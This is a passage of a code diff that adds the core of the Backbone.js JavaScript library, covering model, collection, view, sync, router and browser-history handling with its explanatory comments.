+      };
+
+      if (this.isNew()) {
+        options.success();
+        return false;
+      }
+      wrapError(this, options);
+
+      var xhr = this.sync('delete', this, options);
+      if (!options.wait) destroy();
+      return xhr;
+    },
+
+    // Default URL for the model's representation on the server -- if you're
+    // using Backbone's restful methods, override this to change the endpoint
+    // that will be called.
+    url: function() {
+      var base =
+        _.result(this, 'urlRoot') ||
+        _.result(this.collection, 'url') ||
+        urlError();
+      if (this.isNew()) return base;
+      return base.replace(/([^\/])$/, '$1/') + encodeURIComponent(this.id);
+    },
+
+    // **parse** converts a response into the hash of attributes to be `set` on
+    // the model. The default implementation is just to pass the response along.
+    parse: function(resp, options) {
+      return resp;
+    },
+
+    // Create a new model with identical attributes to this one.
+    clone: function() {
+      return new this.constructor(this.attributes);
+    },
+
+    // A model is new if it has never been saved to the server, and lacks an id.
+    isNew: function() {
+      return !this.has(this.idAttribute);
+    },
+
+    // Check if the model is currently in a valid state.
+    isValid: function(options) {
+      return this._validate({}, _.extend(options || {}, { validate: true }));
+    },
+
+    // Run validation against the next complete set of model attributes,
+    // returning `true` if all is well. Otherwise, fire an `"invalid"` event.
+    _validate: function(attrs, options) {
+      if (!options.validate || !this.validate) return true;
+      attrs = _.extend({}, this.attributes, attrs);
+      var error = this.validationError = this.validate(attrs, options) || null;
+      if (!error) return true;
+      this.trigger('invalid', this, error, _.extend(options, {validationError: error}));
+      return false;
+    }
+
+  });
+
+  // Underscore methods that we want to implement on the Model.
+  var modelMethods = ['keys', 'values', 'pairs', 'invert', 'pick', 'omit'];
+
+  // Mix in each Underscore method as a proxy to `Model#attributes`.
+  _.each(modelMethods, function(method) {
+    Model.prototype[method] = function() {
+      var args = slice.call(arguments);
+      args.unshift(this.attributes);
+      return _[method].apply(_, args);
+    };
+  });
+
+  // Backbone.Collection
+  // -------------------
+
+  // If models tend to represent a single row of data, a Backbone Collection is
+  // more analagous to a table full of data ... or a small slice or page of that
+  // table, or a collection of rows that belong together for a particular reason
+  // -- all of the messages in this particular folder, all of the documents
+  // belonging to this particular author, and so on. Collections maintain
+  // indexes of their models, both in order, and for lookup by `id`.
+
+  // Create a new **Collection**, perhaps to contain a specific type of `model`.
+  // If a `comparator` is specified, the Collection will maintain
+  // its models in sort order, as they're added and removed.
+  var Collection = Backbone.Collection = function(models, options) {
+    options || (options = {});
+    if (options.model) this.model = options.model;
+    if (options.comparator !== void 0) this.comparator = options.comparator;
+    this._reset();
+    this.initialize.apply(this, arguments);
+    if (models) this.reset(models, _.extend({silent: true}, options));
+  };
+
+  // Default options for `Collection#set`.
+  var setOptions = {add: true, remove: true, merge: true};
+  var addOptions = {add: true, remove: false};
+
+  // Define the Collection's inheritable methods.
+  _.extend(Collection.prototype, Events, {
+
+    // The default model for a collection is just a **Backbone.Model**.
+    // This should be overridden in most cases.
+    model: Model,
+
+    // Initialize is an empty function by default. Override it with your own
+    // initialization logic.
+    initialize: function(){},
+
+    // The JSON representation of a Collection is an array of the
+    // models' attributes.
+    toJSON: function(options) {
+      return this.map(function(model){ return model.toJSON(options); });
+    },
+
+    // Proxy `Backbone.sync` by default.
+    sync: function() {
+      return Backbone.sync.apply(this, arguments);
+    },
+
+    // Add a model, or list of models to the set.
+    add: function(models, options) {
+      return this.set(models, _.extend({merge: false}, options, addOptions));
+    },
+
+    // Remove a model, or a list of models from the set.
+    remove: function(models, options) {
+      var singular = !_.isArray(models);
+      models = singular ? [models] : _.clone(models);
+      options || (options = {});
+      var i, l, index, model;
+      for (i = 0, l = models.length; i < l; i++) {
+        model = models[i] = this.get(models[i]);
+        if (!model) continue;
+        delete this._byId[model.id];
+        delete this._byId[model.cid];
+        index = this.indexOf(model);
+        this.models.splice(index, 1);
+        this.length--;
+        if (!options.silent) {
+          options.index = index;
+          model.trigger('remove', model, this, options);
+        }
+        this._removeReference(model, options);
+      }
+      return singular ? models[0] : models;
+    },
+
+    // Update a collection by `set`-ing a new list of models, adding new ones,
+    // removing models that are no longer present, and merging models that
+    // already exist in the collection, as necessary. Similar to **Model#set**,
+    // the core operation for updating the data contained by the collection.
+    set: function(models, options) {
+      options = _.defaults({}, options, setOptions);
+      if (options.parse) models = this.parse(models, options);
+      var singular = !_.isArray(models);
+      models = singular ? (models ? [models] : []) : _.clone(models);
+      var i, l, id, model, attrs, existing, sort;
+      var at = options.at;
+      var targetModel = this.model;
+      var sortable = this.comparator && (at == null) && options.sort !== false;
+      var sortAttr = _.isString(this.comparator) ? this.comparator : null;
+      var toAdd = [], toRemove = [], modelMap = {};
+      var add = options.add, merge = options.merge, remove = options.remove;
+      var order = !sortable && add && remove ? [] : false;
+
+      // Turn bare objects into model references, and prevent invalid models
+      // from being added.
+      for (i = 0, l = models.length; i < l; i++) {
+        attrs = models[i] || {};
+        if (attrs instanceof Model) {
+          id = model = attrs;
+        } else {
+          id = attrs[targetModel.prototype.idAttribute || 'id'];
+        }
+
+        // If a duplicate is found, prevent it from being added and
+        // optionally merge it into the existing model.
+        if (existing = this.get(id)) {
+          if (remove) modelMap[existing.cid] = true;
+          if (merge) {
+            attrs = attrs === model ? model.attributes : attrs;
+            if (options.parse) attrs = existing.parse(attrs, options);
+            existing.set(attrs, options);
+            if (sortable && !sort && existing.hasChanged(sortAttr)) sort = true;
+          }
+          models[i] = existing;
+
+        // If this is a new, valid model, push it to the `toAdd` list.
+        } else if (add) {
+          model = models[i] = this._prepareModel(attrs, options);
+          if (!model) continue;
+          toAdd.push(model);
+          this._addReference(model, options);
+        }
+
+        // Do not add multiple models with the same `id`.
+        model = existing || model;
+        if (order && (model.isNew() || !modelMap[model.id])) order.push(model);
+        modelMap[model.id] = true;
+      }
+
+      // Remove nonexistent models if appropriate.
+      if (remove) {
+        for (i = 0, l = this.length; i < l; ++i) {
+          if (!modelMap[(model = this.models[i]).cid]) toRemove.push(model);
+        }
+        if (toRemove.length) this.remove(toRemove, options);
+      }
+
+      // See if sorting is needed, update `length` and splice in new models.
+      if (toAdd.length || (order && order.length)) {
+        if (sortable) sort = true;
+        this.length += toAdd.length;
+        if (at != null) {
+          for (i = 0, l = toAdd.length; i < l; i++) {
+            this.models.splice(at + i, 0, toAdd[i]);
+          }
+        } else {
+          if (order) this.models.length = 0;
+          var orderedModels = order || toAdd;
+          for (i = 0, l = orderedModels.length; i < l; i++) {
+            this.models.push(orderedModels[i]);
+          }
+        }
+      }
+
+      // Silently sort the collection if appropriate.
+      if (sort) this.sort({silent: true});
+
+      // Unless silenced, it's time to fire all appropriate add/sort events.
+      if (!options.silent) {
+        for (i = 0, l = toAdd.length; i < l; i++) {
+          (model = toAdd[i]).trigger('add', model, this, options);
+        }
+        if (sort || (order && order.length)) this.trigger('sort', this, options);
+      }
+
+      // Return the added (or merged) model (or models).
+      return singular ? models[0] : models;
+    },
+
+    // When you have more items than you want to add or remove individually,
+    // you can reset the entire set with a new list of models, without firing
+    // any granular `add` or `remove` events. Fires `reset` when finished.
+    // Useful for bulk operations and optimizations.
+    reset: function(models, options) {
+      options || (options = {});
+      for (var i = 0, l = this.models.length; i < l; i++) {
+        this._removeReference(this.models[i], options);
+      }
+      options.previousModels = this.models;
+      this._reset();
+      models = this.add(models, _.extend({silent: true}, options));
+      if (!options.silent) this.trigger('reset', this, options);
+      return models;
+    },
+
+    // Add a model to the end of the collection.
+    push: function(model, options) {
+      return this.add(model, _.extend({at: this.length}, options));
+    },
+
+    // Remove a model from the end of the collection.
+    pop: function(options) {
+      var model = this.at(this.length - 1);
+      this.remove(model, options);
+      return model;
+    },
+
+    // Add a model to the beginning of the collection.
+    unshift: function(model, options) {
+      return this.add(model, _.extend({at: 0}, options));
+    },
+
+    // Remove a model from the beginning of the collection.
+    shift: function(options) {
+      var model = this.at(0);
+      this.remove(model, options);
+      return model;
+    },
+
+    // Slice out a sub-array of models from the collection.
+    slice: function() {
+      return slice.apply(this.models, arguments);
+    },
+
+    // Get a model from the set by id.
+    get: function(obj) {
+      if (obj == null) return void 0;
+      return this._byId[obj] || this._byId[obj.id] || this._byId[obj.cid];
+    },
+
+    // Get the model at the given index.
+    at: function(index) {
+      return this.models[index];
+    },
+
+    // Return models with matching attributes. Useful for simple cases of
+    // `filter`.
+    where: function(attrs, first) {
+      if (_.isEmpty(attrs)) return first ? void 0 : [];
+      return this[first ? 'find' : 'filter'](function(model) {
+        for (var key in attrs) {
+          if (attrs[key] !== model.get(key)) return false;
+        }
+        return true;
+      });
+    },
+
+    // Return the first model with matching attributes. Useful for simple cases
+    // of `find`.
+    findWhere: function(attrs) {
+      return this.where(attrs, true);
+    },
+
+    // Force the collection to re-sort itself. You don't need to call this under
+    // normal circumstances, as the set will maintain sort order as each item
+    // is added.
+    sort: function(options) {
+      if (!this.comparator) throw new Error('Cannot sort a set without a comparator');
+      options || (options = {});
+
+      // Run sort based on type of `comparator`.
+      if (_.isString(this.comparator) || this.comparator.length === 1) {
+        this.models = this.sortBy(this.comparator, this);
+      } else {
+        this.models.sort(_.bind(this.comparator, this));
+      }
+
+      if (!options.silent) this.trigger('sort', this, options);
+      return this;
+    },
+
+    // Pluck an attribute from each model in the collection.
+    pluck: function(attr) {
+      return _.invoke(this.models, 'get', attr);
+    },
+
+    // Fetch the default set of models for this collection, resetting the
+    // collection when they arrive. If `reset: true` is passed, the response
+    // data will be passed through the `reset` method instead of `set`.
+    fetch: function(options) {
+      options = options ? _.clone(options) : {};
+      if (options.parse === void 0) options.parse = true;
+      var success = options.success;
+      var collection = this;
+      options.success = function(resp) {
+        var method = options.reset ? 'reset' : 'set';
+        collection[method](resp, options);
+        if (success) success(collection, resp, options);
+        collection.trigger('sync', collection, resp, options);
+      };
+      wrapError(this, options);
+      return this.sync('read', this, options);
+    },
+
+    // Create a new instance of a model in this collection. Add the model to the
+    // collection immediately, unless `wait: true` is passed, in which case we
+    // wait for the server to agree.
+    create: function(model, options) {
+      options = options ? _.clone(options) : {};
+      if (!(model = this._prepareModel(model, options))) return false;
+      if (!options.wait) this.add(model, options);
+      var collection = this;
+      var success = options.success;
+      options.success = function(model, resp) {
+        if (options.wait) collection.add(model, options);
+        if (success) success(model, resp, options);
+      };
+      model.save(null, options);
+      return model;
+    },
+
+    // **parse** converts a response into a list of models to be added to the
+    // collection. The default implementation is just to pass it through.
+    parse: function(resp, options) {
+      return resp;
+    },
+
+    // Create a new collection with an identical list of models as this one.
+    clone: function() {
+      return new this.constructor(this.models);
+    },
+
+    // Private method to reset all internal state. Called when the collection
+    // is first initialized or reset.
+    _reset: function() {
+      this.length = 0;
+      this.models = [];
+      this._byId  = {};
+    },
+
+    // Prepare a hash of attributes (or other model) to be added to this
+    // collection.
+    _prepareModel: function(attrs, options) {
+      if (attrs instanceof Model) return attrs;
+      options = options ? _.clone(options) : {};
+      options.collection = this;
+      var model = new this.model(attrs, options);
+      if (!model.validationError) return model;
+      this.trigger('invalid', this, model.validationError, options);
+      return false;
+    },
+
+    // Internal method to create a model's ties to a collection.
+    _addReference: function(model, options) {
+      this._byId[model.cid] = model;
+      if (model.id != null) this._byId[model.id] = model;
+      if (!model.collection) model.collection = this;
+      model.on('all', this._onModelEvent, this);
+    },
+
+    // Internal method to sever a model's ties to a collection.
+    _removeReference: function(model, options) {
+      if (this === model.collection) delete model.collection;
+      model.off('all', this._onModelEvent, this);
+    },
+
+    // Internal method called every time a model in the set fires an event.
+    // Sets need to update their indexes when models change ids. All other
+    // events simply proxy through. "add" and "remove" events that originate
+    // in other collections are ignored.
+    _onModelEvent: function(event, model, collection, options) {
+      if ((event === 'add' || event === 'remove') && collection !== this) return;
+      if (event === 'destroy') this.remove(model, options);
+      if (model && event === 'change:' + model.idAttribute) {
+        delete this._byId[model.previous(model.idAttribute)];
+        if (model.id != null) this._byId[model.id] = model;
+      }
+      this.trigger.apply(this, arguments);
+    }
+
+  });
+
+  // Underscore methods that we want to implement on the Collection.
+  // 90% of the core usefulness of Backbone Collections is actually implemented
+  // right here:
+  var methods = ['forEach', 'each', 'map', 'collect', 'reduce', 'foldl',
+    'inject', 'reduceRight', 'foldr', 'find', 'detect', 'filter', 'select',
+    'reject', 'every', 'all', 'some', 'any', 'include', 'contains', 'invoke',
+    'max', 'min', 'toArray', 'size', 'first', 'head', 'take', 'initial', 'rest',
+    'tail', 'drop', 'last', 'without', 'difference', 'indexOf', 'shuffle',
+    'lastIndexOf', 'isEmpty', 'chain', 'sample'];
+
+  // Mix in each Underscore method as a proxy to `Collection#models`.
+  _.each(methods, function(method) {
+    Collection.prototype[method] = function() {
+      var args = slice.call(arguments);
+      args.unshift(this.models);
+      return _[method].apply(_, args);
+    };
+  });
+
+  // Underscore methods that take a property name as an argument.
+  var attributeMethods = ['groupBy', 'countBy', 'sortBy', 'indexBy'];
+
+  // Use attributes instead of properties.
+  _.each(attributeMethods, function(method) {
+    Collection.prototype[method] = function(value, context) {
+      var iterator = _.isFunction(value) ? value : function(model) {
+        return model.get(value);
+      };
+      return _[method](this.models, iterator, context);
+    };
+  });
+
+  // Backbone.View
+  // -------------
+
+  // Backbone Views are almost more convention than they are actual code. A View
+  // is simply a JavaScript object that represents a logical chunk of UI in the
+  // DOM. This might be a single item, an entire list, a sidebar or panel, or
+  // even the surrounding frame which wraps your whole app. Defining a chunk of
+  // UI as a **View** allows you to define your DOM events declaratively, without
+  // having to worry about render order ... and makes it easy for the view to
+  // react to specific changes in the state of your models.
+
+  // Creating a Backbone.View creates its initial element outside of the DOM,
+  // if an existing element is not provided...
+  var View = Backbone.View = function(options) {
+    this.cid = _.uniqueId('view');
+    options || (options = {});
+    _.extend(this, _.pick(options, viewOptions));
+    this._ensureElement();
+    this.initialize.apply(this, arguments);
+    this.delegateEvents();
+  };
+
+  // Cached regex to split keys for `delegate`.
+  var delegateEventSplitter = /^(\S+)\s*(.*)$/;
+
+  // List of view options to be merged as properties.
+  var viewOptions = ['model', 'collection', 'el', 'id', 'attributes', 'className', 'tagName', 'events'];
+
+  // Set up all inheritable **Backbone.View** properties and methods.
+  _.extend(View.prototype, Events, {
+
+    // The default `tagName` of a View's element is `"div"`.
+    tagName: 'div',
+
+    // jQuery delegate for element lookup, scoped to DOM elements within the
+    // current view. This should be preferred to global lookups where possible.
+    $: function(selector) {
+      return this.$el.find(selector);
+    },
+
+    // Initialize is an empty function by default. Override it with your own
+    // initialization logic.
+    initialize: function(){},
+
+    // **render** is the core function that your view should override, in order
+    // to populate its element (`this.el`), with the appropriate HTML. The
+    // convention is for **render** to always return `this`.
+    render: function() {
+      return this;
+    },
+
+    // Remove this view by taking the element out of the DOM, and removing any
+    // applicable Backbone.Events listeners.
+    remove: function() {
+      this.$el.remove();
+      this.stopListening();
+      return this;
+    },
+
+    // Change the view's element (`this.el` property), including event
+    // re-delegation.
+    setElement: function(element, delegate) {
+      if (this.$el) this.undelegateEvents();
+      this.$el = element instanceof Backbone.$ ? element : Backbone.$(element);
+      this.el = this.$el[0];
+      if (delegate !== false) this.delegateEvents();
+      return this;
+    },
+
+    // Set callbacks, where `this.events` is a hash of
+    //
+    // *{"event selector": "callback"}*
+    //
+    //     {
+    //       'mousedown .title':  'edit',
+    //       'click .button':     'save',
+    //       'click .open':       function(e) { ... }
+    //     }
+    //
+    // pairs. Callbacks will be bound to the view, with `this` set properly.
+    // Uses event delegation for efficiency.
+    // Omitting the selector binds the event to `this.el`.
+    // This only works for delegate-able events: not `focus`, `blur`, and
+    // not `change`, `submit`, and `reset` in Internet Explorer.
+    delegateEvents: function(events) {
+      if (!(events || (events = _.result(this, 'events')))) return this;
+      this.undelegateEvents();
+      for (var key in events) {
+        var method = events[key];
+        if (!_.isFunction(method)) method = this[events[key]];
+        if (!method) continue;
+
+        var match = key.match(delegateEventSplitter);
+        var eventName = match[1], selector = match[2];
+        method = _.bind(method, this);
+        eventName += '.delegateEvents' + this.cid;
+        if (selector === '') {
+          this.$el.on(eventName, method);
+        } else {
+          this.$el.on(eventName, selector, method);
+        }
+      }
+      return this;
+    },
+
+    // Clears all callbacks previously bound to the view with `delegateEvents`.
+    // You usually don't need to use this, but may wish to if you have multiple
+    // Backbone views attached to the same DOM element.
+    undelegateEvents: function() {
+      this.$el.off('.delegateEvents' + this.cid);
+      return this;
+    },
+
+    // Ensure that the View has a DOM element to render into.
+    // If `this.el` is a string, pass it through `$()`, take the first
+    // matching element, and re-assign it to `el`. Otherwise, create
+    // an element from the `id`, `className` and `tagName` properties.
+    _ensureElement: function() {
+      if (!this.el) {
+        var attrs = _.extend({}, _.result(this, 'attributes'));
+        if (this.id) attrs.id = _.result(this, 'id');
+        if (this.className) attrs['class'] = _.result(this, 'className');
+        var $el = Backbone.$('<' + _.result(this, 'tagName') + '>').attr(attrs);
+        this.setElement($el, false);
+      } else {
+        this.setElement(_.result(this, 'el'), false);
+      }
+    }
+
+  });
+
+  // Backbone.sync
+  // -------------
+
+  // Override this function to change the manner in which Backbone persists
+  // models to the server. You will be passed the type of request, and the
+  // model in question. By default, makes a RESTful Ajax request
+  // to the model's `url()`. Some possible customizations could be:
+  //
+  // * Use `setTimeout` to batch rapid-fire updates into a single request.
+  // * Send up the models as XML instead of JSON.
+  // * Persist models via WebSockets instead of Ajax.
+  //
+  // Turn on `Backbone.emulateHTTP` in order to send `PUT` and `DELETE` requests
+  // as `POST`, with a `_method` parameter containing the true HTTP method,
+  // as well as all requests with the body as `application/x-www-form-urlencoded`
+  // instead of `application/json` with the model in a param named `model`.
+  // Useful when interfacing with server-side languages like **PHP** that make
+  // it difficult to read the body of `PUT` requests.
+  Backbone.sync = function(method, model, options) {
+    var type = methodMap[method];
+
+    // Default options, unless specified.
+    _.defaults(options || (options = {}), {
+      emulateHTTP: Backbone.emulateHTTP,
+      emulateJSON: Backbone.emulateJSON
+    });
+
+    // Default JSON-request options.
+    var params = {type: type, dataType: 'json'};
+
+    // Ensure that we have a URL.
+    if (!options.url) {
+      params.url = _.result(model, 'url') || urlError();
+    }
+
+    // Ensure that we have the appropriate request data.
+    if (options.data == null && model && (method === 'create' || method === 'update' || method === 'patch')) {
+      params.contentType = 'application/json';
+      params.data = JSON.stringify(options.attrs || model.toJSON(options));
+    }
+
+    // For older servers, emulate JSON by encoding the request into an HTML-form.
+    if (options.emulateJSON) {
+      params.contentType = 'application/x-www-form-urlencoded';
+      params.data = params.data ? {model: params.data} : {};
+    }
+
+    // For older servers, emulate HTTP by mimicking the HTTP method with `_method`
+    // And an `X-HTTP-Method-Override` header.
+    if (options.emulateHTTP && (type === 'PUT' || type === 'DELETE' || type === 'PATCH')) {
+      params.type = 'POST';
+      if (options.emulateJSON) params.data._method = type;
+      var beforeSend = options.beforeSend;
+      options.beforeSend = function(xhr) {
+        xhr.setRequestHeader('X-HTTP-Method-Override', type);
+        if (beforeSend) return beforeSend.apply(this, arguments);
+      };
+    }
+
+    // Don't process data on a non-GET request.
+    if (params.type !== 'GET' && !options.emulateJSON) {
+      params.processData = false;
+    }
+
+    // If we're sending a `PATCH` request, and we're in an old Internet Explorer
+    // that still has ActiveX enabled by default, override jQuery to use that
+    // for XHR instead. Remove this line when jQuery supports `PATCH` on IE8.
+    if (params.type === 'PATCH' && noXhrPatch) {
+      params.xhr = function() {
+        return new ActiveXObject("Microsoft.XMLHTTP");
+      };
+    }
+
+    // Make the request, allowing the user to override any Ajax options.
+    var xhr = options.xhr = Backbone.ajax(_.extend(params, options));
+    model.trigger('request', model, xhr, options);
+    return xhr;
+  };
+
+  var noXhrPatch =
+    typeof window !== 'undefined' && !!window.ActiveXObject &&
+      !(window.XMLHttpRequest && (new XMLHttpRequest).dispatchEvent);
+
+  // Map from CRUD to HTTP for our default `Backbone.sync` implementation.
+  var methodMap = {
+    'create': 'POST',
+    'update': 'PUT',
+    'patch':  'PATCH',
+    'delete': 'DELETE',
+    'read':   'GET'
+  };
+
+  // Set the default implementation of `Backbone.ajax` to proxy through to `$`.
+  // Override this if you'd like to use a different library.
+  Backbone.ajax = function() {
+    return Backbone.$.ajax.apply(Backbone.$, arguments);
+  };
+
+  // Backbone.Router
+  // ---------------
+
+  // Routers map faux-URLs to actions, and fire events when routes are
+  // matched. Creating a new one sets its `routes` hash, if not set statically.
+  var Router = Backbone.Router = function(options) {
+    options || (options = {});
+    if (options.routes) this.routes = options.routes;
+    this._bindRoutes();
+    this.initialize.apply(this, arguments);
+  };
+
+  // Cached regular expressions for matching named param parts and splatted
+  // parts of route strings.
+  var optionalParam = /\((.*?)\)/g;
+  var namedParam    = /(\(\?)?:\w+/g;
+  var splatParam    = /\*\w+/g;
+  var escapeRegExp  = /[\-{}\[\]+?.,\\\^$|#\s]/g;
+
+  // Set up all inheritable **Backbone.Router** properties and methods.
+  _.extend(Router.prototype, Events, {
+
+    // Initialize is an empty function by default. Override it with your own
+    // initialization logic.
+    initialize: function(){},
+
+    // Manually bind a single named route to a callback. For example:
+    //
+    //     this.route('search/:query/p:num', 'search', function(query, num) {
+    //       ...
+    //     });
+    //
+    route: function(route, name, callback) {
+      if (!_.isRegExp(route)) route = this._routeToRegExp(route);
+      if (_.isFunction(name)) {
+        callback = name;
+        name = '';
+      }
+      if (!callback) callback = this[name];
+      var router = this;
+      Backbone.history.route(route, function(fragment) {
+        var args = router._extractParameters(route, fragment);
+        router.execute(callback, args);
+        router.trigger.apply(router, ['route:' + name].concat(args));
+        router.trigger('route', name, args);
+        Backbone.history.trigger('route', router, name, args);
+      });
+      return this;
+    },
+
+    // Execute a route handler with the provided parameters.  This is an
+    // excellent place to do pre-route setup or post-route cleanup.
+    execute: function(callback, args) {
+      if (callback) callback.apply(this, args);
+    },
+
+    // Simple proxy to `Backbone.history` to save a fragment into the history.
+    navigate: function(fragment, options) {
+      Backbone.history.navigate(fragment, options);
+      return this;
+    },
+
+    // Bind all defined routes to `Backbone.history`. We have to reverse the
+    // order of the routes here to support behavior where the most general
+    // routes can be defined at the bottom of the route map.
+    _bindRoutes: function() {
+      if (!this.routes) return;
+      this.routes = _.result(this, 'routes');
+      var route, routes = _.keys(this.routes);
+      while ((route = routes.pop()) != null) {
+        this.route(route, this.routes[route]);
+      }
+    },
+
+    // Convert a route string into a regular expression, suitable for matching
+    // against the current location hash.
+    _routeToRegExp: function(route) {
+      route = route.replace(escapeRegExp, '\\$&')
+                   .replace(optionalParam, '(?:$1)?')
+                   .replace(namedParam, function(match, optional) {
+                     return optional ? match : '([^/?]+)';
+                   })
+                   .replace(splatParam, '([^?]*?)');
+      return new RegExp('^' + route + '(?:\\?([\\s\\S]*))?$');
+    },
+
+    // Given a route, and a URL fragment that it matches, return the array of
+    // extracted decoded parameters. Empty or unmatched parameters will be
+    // treated as `null` to normalize cross-browser behavior.
+    _extractParameters: function(route, fragment) {
+      var params = route.exec(fragment).slice(1);
+      return _.map(params, function(param, i) {
+        // Don't decode the search params.
+        if (i === params.length - 1) return param || null;
+        return param ? decodeURIComponent(param) : null;
+      });
+    }
+
+  });
+
+  // Backbone.History
+  // ----------------
+
+  // Handles cross-browser history management, based on either
+  // [pushState](http://diveintohtml5.info/history.html) and real URLs, or
+  // [onhashchange](https://developer.mozilla.org/en-US/docs/DOM/window.onhashchange)
+  // and URL fragments. If the browser supports neither (old IE, natch),
+  // falls back to polling.
+  var History = Backbone.History = function() {
+    this.handlers = [];
+    _.bindAll(this, 'checkUrl');
+
+    // Ensure that `History` can be used outside of the browser.
+    if (typeof window !== 'undefined') {
+      this.location = window.location;
+      this.history = window.history;
+    }
+  };
+
+  // Cached regex for stripping a leading hash/slash and trailing space.
+  var routeStripper = /^[#\/]|\s+$/g;
+
+  // Cached regex for stripping leading and trailing slashes.
+  var rootStripper = /^\/+|\/+$/g;
+
+  // Cached regex for detecting MSIE.
+  var isExplorer = /msie [\w.]+/;
+
+  // Cached regex for removing a trailing slash.
+  var trailingSlash = /\/$/;
+
+  // Cached regex for stripping urls of hash.
+  var pathStripper = /#.*$/;
+
+  // Has the history handling already been started?
+  History.started = false;
+
+  // Set up all inheritable **Backbone.History** properties and methods.
+  _.extend(History.prototype, Events, {
+
+    // The default interval to poll for hash changes, if necessary, is
+    // twenty times a second.
+    interval: 50,
+
+    // Are we at the app root?
+    atRoot: function() {
+      return this.location.pathname.replace(/[^\/]$/, '$&/') === this.root;
+    },
+
+    // Gets the true hash value. Cannot use location.hash directly due to bug
+    // in Firefox where location.hash will always be decoded.
+    getHash: function(window) {
+      var match = (window || this).location.href.match(/#(.*)$/);
+      return match ? match[1] : '';
+    },
+
+    // Get the cross-browser normalized URL fragment, either from the URL,
+    // the hash, or the override.
+    getFragment: function(fragment, forcePushState) {
+      if (fragment == null) {
+        if (this._hasPushState || !this._wantsHashChange || forcePushState) {
+          fragment = decodeURI(this.location.pathname + this.location.search);
+          var root = this.root.replace(trailingSlash, '');
+          if (!fragment.indexOf(root)) fragment = fragment.slice(root.length);
+        } else {
+          fragment = this.getHash();
+        }
+      }
+      return fragment.replace(routeStripper, '');
+    },
+
+    // Start the hash change handling, returning `true` if the current URL matches
+    // an existing route, and `false` otherwise.
+    start: function(options) {
+      if (History.started) throw new Error("Backbone.history has already been started");
+      History.started = true;
+
+      // Figure out the initial configuration. Do we need an iframe?
+      // Is pushState desired ... is it available?
+      this.options          = _.extend({root: '/'}, this.options, options);
+      this.root             = this.options.root;
+      this._wantsHashChange = this.options.hashChange !== false;
+      this._wantsPushState  = !!this.options.pushState;
+      this._hasPushState    = !!(this.options.pushState && this.history && this.history.pushState);
+      var fragment          = this.getFragment();
+      var docMode           = document.documentMode;
+      var oldIE             = (isExplorer.exec(navigator.userAgent.toLowerCase()) && (!docMode || docMode <= 7));
+
+      // Normalize root to always include a leading and trailing slash.
+      this.root = ('/' + this.root + '/').replace(rootStripper, '/');
+
+      if (oldIE && this._wantsHashChange) {
+        var frame = Backbone.$('<iframe src="javascript:0" tabindex="-1">');
+        this.iframe = frame.hide().appendTo('body')[0].contentWindow;
+        this.navigate(fragment);
+      }
+
+      // Depending on whether we're using pushState or hashes, and whether
+      // 'onhashchange' is supported, determine how we check the URL state.
+      if (this._hasPushState) {
+        Backbone.$(window).on('popstate', this.checkUrl);
+      } else if (this._wantsHashChange && ('onhashchange' in window) && !oldIE) {
+        Backbone.$(window).on('hashchange', this.checkUrl);
+      } else if (this._wantsHashChange) {
+        this._checkUrlInterval = setInterval(this.checkUrl, this.interval);
+      }
+
+      // Determine if we need to change the base url, for a pushState link
+      // opened by a non-pushState browser.
+      this.fragment = fragment;
+      var loc = this.location;
+
+      // Transition from hashChange to pushState or vice versa if both are
+      // requested.
+      if (this._wantsHashChange && this._wantsPushState) {
+
+        // If we've started off with a route from a `pushState`-enabled
+        // browser, but we're currently in a browser that doesn't support it...
+        if (!this._hasPushState && !this.atRoot()) {
+          this.fragment = this.getFragment(null, true);
+          this.location.replace(this.root + '#' + this.fragment);
+          // Return immediately as browser will do redirect to new url
+          return true;
+
+        // Or if we've started out with a hash-based route, but we're currently
+        // in a browser where it could be `pushState`-based instead...
+        } else if (this._hasPushState && this.atRoot() && loc.hash) {
+          this.fragment = this.getHash().replace(routeStripper, '');
+          this.history.replaceState({}, document.title, this.root + this.fragment);
+        }
+
+      }
+
+      if (!this.options.silent) return this.loadUrl();
+    },
+
+    // Disable Backbone.history, perhaps temporarily. Not useful in a real app,
+    // but possibly useful for unit testing Routers.
+    stop: function() {
+      Backbone.$(window).off('popstate', this.checkUrl).off('hashchange', this.checkUrl);
+      if (this._checkUrlInterval) clearInterval(this._checkUrlInterval);
+      History.started = false;
+    },
+
+    // Add a route to be tested when the fragment changes. Routes added later
+    // may override previous routes.
+    route: function(route, callback) {
+      this.handlers.unshift({route: route, callback: callback});
+    },
+
+    // Checks the current URL to see if it has changed, and if it has,
+    // calls `loadUrl`, normalizing across the hidden iframe.
+    checkUrl: function(e) {
+      var current = this.getFragment();
+      if (current === this.fragment && this.iframe) {
+        current = this.getFragment(this.getHash(this.iframe));
+      }
+      if (current === this.fragment) return false;
+      if (this.iframe) this.navigate(current);
+      this.loadUrl();
+    },
+
+    // Attempt to load the current URL fragment. If a route succeeds with a
+    // match, returns `true`. If no defined routes matches the fragment,
+    // returns `false`.
+    loadUrl: function(fragment) {
+      fragment = this.fragment = this.getFragment(fragment);
+      return _.any(this.handlers, function(handler) {
+        if (handler.route.test(fragment)) {
+          handler.callback(fragment);
+          return true;
+        }
+      });
+    },
+
+    // Save a fragment into the hash history, or replace the URL state if the
+    // 'replace' option is passed. You are responsible for properly URL-encoding
+    // the fragment in advance.
+    //
+    // The options object can contain `trigger: true` if you wish to have the
+    // route callback be fired (not usually desirable), or `replace: true`, if
+    // you wish to modify the current URL without adding an entry to the history.
+    navigate: function(fragment, options) {
+      if (!History.started) return false;
+      if (!options || options === true) options = {trigger: !!options};
+
+      var url = this.root + (fragment = this.getFragment(fragment || ''));
+
+      // Strip the hash for matching.
+      fragment = fragment.replace(pathStripper, '');
+
+      if (this.fragment === fragment) return;
+      this.fragment = fragment;
+
+      // Don't include a trailing slash on the root.
+      if (fragment === '' && url !== '/') url = url.slice(0, -1);
+
+      // If pushState is available, we use it to set the fragment as a real URL.
+      if (this._hasPushState) {
+        this.history[options.replace ? 'replaceState' : 'pushState']({}, document.title, url);
+
+      // If hash changes haven't been explicitly disabled, update the hash
+      // fragment to store history.
+      } else if (this._wantsHashChange) {
+        this._updateHash(this.location, fragment, options.replace);
+        if (this.iframe && (fragment !== this.getFragment(this.getHash(this.iframe)))) {
+          // Opening and closing the iframe tricks IE7 and earlier to push a
+          // history entry on hash-tag change.  When replace is true, we don't
+          // want this.
+          if(!options.replace) this.iframe.document.open().close();
+          this._updateHash(this.iframe.location, fragment, options.replace);
+        }
+
+      // If you've told us that you explicitly don't want fallback hashchange-
+      // based history, then `navigate` becomes a page refresh.
+      } else {
+        return this.location.assign(url);
+      }
+      if (options.trigger) return this.loadUrl(fragment);
